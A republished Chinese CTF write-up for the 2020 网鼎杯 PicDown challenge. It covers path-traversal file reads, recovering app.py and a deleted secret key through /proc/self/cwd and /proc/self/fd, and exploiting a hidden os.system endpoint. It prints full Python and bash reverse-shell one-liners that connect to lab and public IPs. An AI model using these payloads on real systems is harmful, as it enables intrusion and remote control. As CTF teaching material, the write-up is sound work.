[网鼎杯 2020 白虎组]PicDown python反弹shell proc/self目录的信息

[网鼎杯 2020 白虎组]PicDown - 知乎

这里确实完全不会 第一次遇到一个只有文件读取思路的题目

这里也确实说明还是要学学一些其他的东西了

首先打开环境

 只存在一个框框 我们通过 目录扫描 抓包 注入 发现没有用

我们测试能不能任意文件读取

?url=../../../../etc/passwd

发现读取成功

其次我到这里就没有思路了

我们首先学东西吧

当遇到文件读取我们可以读取什么

linux 文件读取

Linux的/proc/self/学习_lmonstergg的博客-CSDN博客

我们可以打开我们的linux看看

除了我们最常见的 etc/passwd

其实还存在着两个文件 可以读取

environ

proc/self/environ
environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息:

还是很敏感的 有的题目就喜欢出在环境变量里

第二个

cmdline

我们可以通过这个知道使用者在做什么

所以这道题 我们可以继续来读取

 cmdline中出现了 app.py 内容

我们需要读取

但是内容在哪里呢。。。。

这个只能猜测了

但是我们知道 当前工作环境多半就是app.py

所以其实在 proc里面 也同样存在着当前工作环境的文件

这个是一个方法

cwd

proc/self/cwd/app.py

 第二种 猜测main.py

我们猜测当前环境的文件名有main.py

失败

第三种

app.py 我们猜测在 app文件夹中

失败

但是通过上面的cwd我们可以获取代码了

现在开始代码审计

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllibapp = Flask(__name__)SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)@app.route('/')
def index():return render_template('search.html')@app.route('/page')
def page():url = request.args.get("url")try:if not url.lower().startswith("file"):res = urllib.urlopen(url)value = res.read()response = Response(value, mimetype='application/octet-stream')response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'return responseelse:value = "HACK ERROR!"except:value = "SOMETHING WRONG!"return render_template('search.html', res=value)@app.route('/no_one_know_the_manager')
def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return resif __name__ == '__main__':app.run(host='0.0.0.0', port=8080)

我们在读取代码后发现

@app.route('/no_one_know_the_manager')
def manager():key = request.args.get("key")print(SECRET_KEY)if key == SECRET_KEY:shell = request.args.get("shell")os.system(shell)res = "ok"else:res = "Wrong Key!"return res

这里是重要的内容

首先要获取 secet_/tmp/secret.txtkey

我们去看看/tmp/secret.txt

 没有啊

但是这里我们需要学习一个内容

open在linux

这里上面文件可能是被删除或其他

但是我们需要看到一个代码

f = open(SECRET_FILE)

 这里很显然是通过 open函数打开 那么在linux中会创建文件标识符

文件标识符

文件标识符是一个非负整数其实是一个索引值当程序打开或创建 一个进程的时候内核会创建一个标识符

这个标识符 会存储在 proc/self/fd/数字

这个文件中

所以我们通过bp爆破来获取

在第三个中 我们获取到了值 我们通过base解密一下

发现不是 那么就是明文了

所以我们获取了key的值

zBsgJNHfXv01kvfGS0c0B9UxLVTYcpCK73NVovFs/cE=

下面我们通过反弹shell来执行

正好学习一下什么是反弹shell吧

python反弹shell

含义

反弹shell的含义正向 就是 攻击者通过(ssh,远程桌面等) 链接用户客户端反向 就是 用户客户端作为主动链接方 主动链接攻击方

主要的目的是什么呢

目的

对方服务器存在防火 只能发送 不允许接受ip发生变化攻击者需要在自己的 bash 终端上执行命令

那这种反弹shell的原理是什么呢

原理

让受害方 主动链接 攻击者主机攻击者开放 19111端口TCP服务受害者链接 19111端口攻击者 受害者 建立 TCP链接攻击者通过 TCP 发送命令 给受害者执行受害者将执行后的命令返回

我们来模拟实验一下

首先确定攻击和受害的ip

这里我使用我的ubuntu 和kalikali的ip为  192.168.48.130centos的ip为  192.168.48.132

我们首先

设置centos防火墙

setenforce 0   //设置SELinux 成为permissive模式 临时关闭selinux的 
service iptables status  //查看防火墙状态

然后kali通过nc监听

centos通过 反弹shell

//kali使用nc进行对本机的4444端口进行监听:
nc -lvvp 4444
//目标主机执行下面python命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

发现成功获取了 终端控制

 bash反弹shell

同样我们先要获取bash

centos中

nc -lvvp 4444  #kali
bash -i >& /dev/tcp/192.168.48.130/4444 0>&1   #centos

成功获取

这里我们回到做题

kali中开始监听 然后通过python执行反弹shell命令即可

/no_one_know_the_manager?key=zBsgJNHfXv01kvfGS0c0B9UxLVTYcpCK73NVovFs/cE=&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("112.74.89.58",41871));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

然后通过url编码传递

上面我写详细一点

NATAPP -通过这个网站可以购买到 临时域名

免费的注册一下就行了

通过里面的软件

我们下载

然后通过命令行

natapp.exe --authtoken=

后面跟上 自己的就可以了

 这里会出现端口和域名 我们去ping一下域名 获得ip即可

然后构造即可

非预期

这里还有非预期 直接通过 page?url=/flag

直接输出flag。。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/151913.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

10款录屏软分析与选择使用,只看这篇文章就轻松搞定所有,高清4K无水印录屏,博主UP主轻松选择

录屏软件整理 如下为录屏软件,通过思维导图展示分析介绍: https://www.drawon.cn/template/details/6522bd5e0dad9029a0b528e1 如下为整理的录屏软件列表 名称产地价格支持的平台下载地址说明OBS国外免费开源windows/linux/machttps://obsproject.co…

经典算法-----农夫过河问题(深度优先搜索)

目录 前言 农夫过河问题 1.问题描述 2.解决思路 位置编码 获取位置 判断是否安全 深度优先遍历(核心算法) 3.完整代码 前言 今天我们来解决一个有意思的问题,也就是农夫过河问题,可能这个问题我们小时候上学就听说过类似的…

Flink---10、处理函数(基本处理函数、按键分区处理函数、窗口处理函数、应用案例TopN、侧输出流)

星光下的赶路人star的个人主页 我的敌手就是我自己,我要他美好到能使我满意的程度 文章目录 1、处理函数1.1 基本处理函数(ProcessFunction)1.1.1 处理函数的功能和使用1.1.2 ProcessFunction解析1.1.3 处理函数的分类 1.2 按键分区处理函数&…

你的librosa和scikit-learn打架了吗?

被这个问题困扰好久!!!!!!!!!!!!!! 我的原来版本librosa0.7.1 和 scikit-learn1.3.1 一直拆了按,按…

【AI视野·今日Robot 机器人论文速览 第四十五期】Mon, 2 Oct 2023

AI视野今日CS.Robotics 机器人学论文速览 Mon, 2 Oct 2023 Totally 42 papers 👉上期速览✈更多精彩请移步主页 Interesting: 📚PONG, Probabilistic Object Normals for Grasping 用于抓取的概率目标归一化,根据目标表面法向量获取的不确定…

抄写Linux源码(Day17:你的键盘是什么时候生效的?)

回忆我们需要做的事情: 为了支持 shell 程序的执行,我们需要提供: 1.缺页中断(不理解为什么要这个东西,只是闪客说需要,后边再说) 2.硬盘驱动、文件系统 (shell程序一开始是存放在磁盘里的,所以需要这两个东…

网络安全--安全认证、IPSEC技术

目录 1. 什么是数据认证,有什么作用,有哪些实现的技术手段? 2. 什么是身份认证,有什么作用,有哪些实现的技术手段? 3. 什么是VPN技术? 4. VPN技术有哪些分类? 5. IPSEC技术能够…

JavaScript-mooc(纯分享)

第一步下载软件 mooc_v1.3.2_windows_amd64.zip - 蓝奏云 解压后打开有这么多文件 用记事本的打开方式打开config的文件 第一个尖头改成你学校对应慕课英华网址 第二个箭头是你的账号 第三个箭头是你的密码 改好后点击文件保存 最后一步点击运行 {"global": {&qu…

一篇理解网络分层原理

一、网络分层的必要性。 如图是一个数据的传输过程,在这个途中会有很多的原因导致数据丢失,网络分层就要可以很大程度的避免这个现象。 网络分层的必要性体现在以下几个方面: 抽象复杂度:网络分层将网络功能按照不同的层次进行分…

基于Kylin的数据统计分析平台架构设计与实现

目录 1 前言 2 关键模块 2.1 数据仓库的搭建 2.2 ETL 2.3 Kylin数据分析系统 2.4 数据可视化系统 2.5 报表模块 3 最终成果 4 遇到问题 1 前言 这是在TP-LINK公司云平台部门做的一个项目,总体包括云上数据统计平台的架构设计和组件开发,在此只做…

C++ - C++11历史 - 统一列表初始化 - aotu - decltype - nullptr - C++11 之后 STL 的改变

目录 C的发展史了解 统一列表初始化 {}初始化 std::initializer_list 在 vector 的模拟实现当中加上 initializer_list 作为参数的构造函数 声明 aotu decltype nullptr C11 之后 STL 的一些变化 新容器 容器中的一些新方法 C的发展史了解 在2003年C标准委员会曾经提…

基于SSM的实验室考勤管理系统设计与实现

末尾获取源码 开发语言:Java Java开发工具:JDK1.8 后端框架:SSM 前端:采用JSP技术开发 数据库:MySQL5.7和Navicat管理工具结合 服务器:Tomcat8.5 开发软件:IDEA / Eclipse 是否Maven项目&#x…

CCF CSP认证 历年题目自练Day25

题目 试题编号: 201403-3 试题名称: 命令行选项 时间限制: 1.0s 内存限制: 256.0MB 问题描述: 问题描述   请你写一个命令行分析程序,用以分析给定的命令行里包含哪些选项。每个命令行由若干个字符串组成,它们之间…

插入排序/折半插入排序

插入排序/折半插入排序 插入排序 插入排序(英语:Insertion Sort)是一种简单直观的排序算法。它的工作原理是通过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入。插入排序在实现上,通常…

光伏储能直流系统MATLAB仿真(PV光伏阵列+Boost DCDC变换器+负载+双向DCDC变换器+锂离子电池系统)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

前端 | AjaxAxios模块

文章目录 1. Ajax1.1 Ajax介绍1.2 Ajax作用1.3 同步异步1.4 原生Ajax 2. Axios2.1 Axios下载2.2 Axios基本使用2.3 Axios方法 1. Ajax 1.1 Ajax介绍 Ajax: 全称(Asynchronous JavaScript And XML),异步的JavaScript和XML。 1.2 Ajax作用 …

javaee SpringMVC中json的使用

jsp <%--Created by IntelliJ IDEA.User: 呆萌老师:QQ:2398779723Date: 2019/12/6Time: 15:55To change this template use File | Settings | File Templates. --%> <% page contentType"text/html;charsetUTF-8" language"java" %> <%St…

蓝桥杯每日一题2023.10.7

跑步锻炼 - 蓝桥云课 (lanqiao.cn) 题目描述 题目分析 简单枚举&#xff0c;对于2的情况特判即可 #include<bits/stdc.h> using namespace std; int num, ans, flag; int m[13] {0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; bool is_ren(int n) {if((n %…

《C++ Primer》第5章 语句

参考资料&#xff1a; 《C Primer》第5版《C Primer 习题集》第5版 5.1 简单语句&#xff08;P154&#xff09; 在一个表达式的末尾加上 ; 就构成了表达式语句&#xff0c;其作用是执行表达式并丢弃结果。 空语句 由单独的 ; 构成的语句为空语句。空语句常用于语法上需要一…

【网络】路由器和交换机的区别

&#x1f341; 博主 "开着拖拉机回家"带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——&#x1f390;开着拖拉机回家_Linux,大数据运维-CSDN博客 &#x1f390;✨&#x1f341; &#x1fa81;&#x1f341; 希望本文能够给您带来一定的帮助&#x1…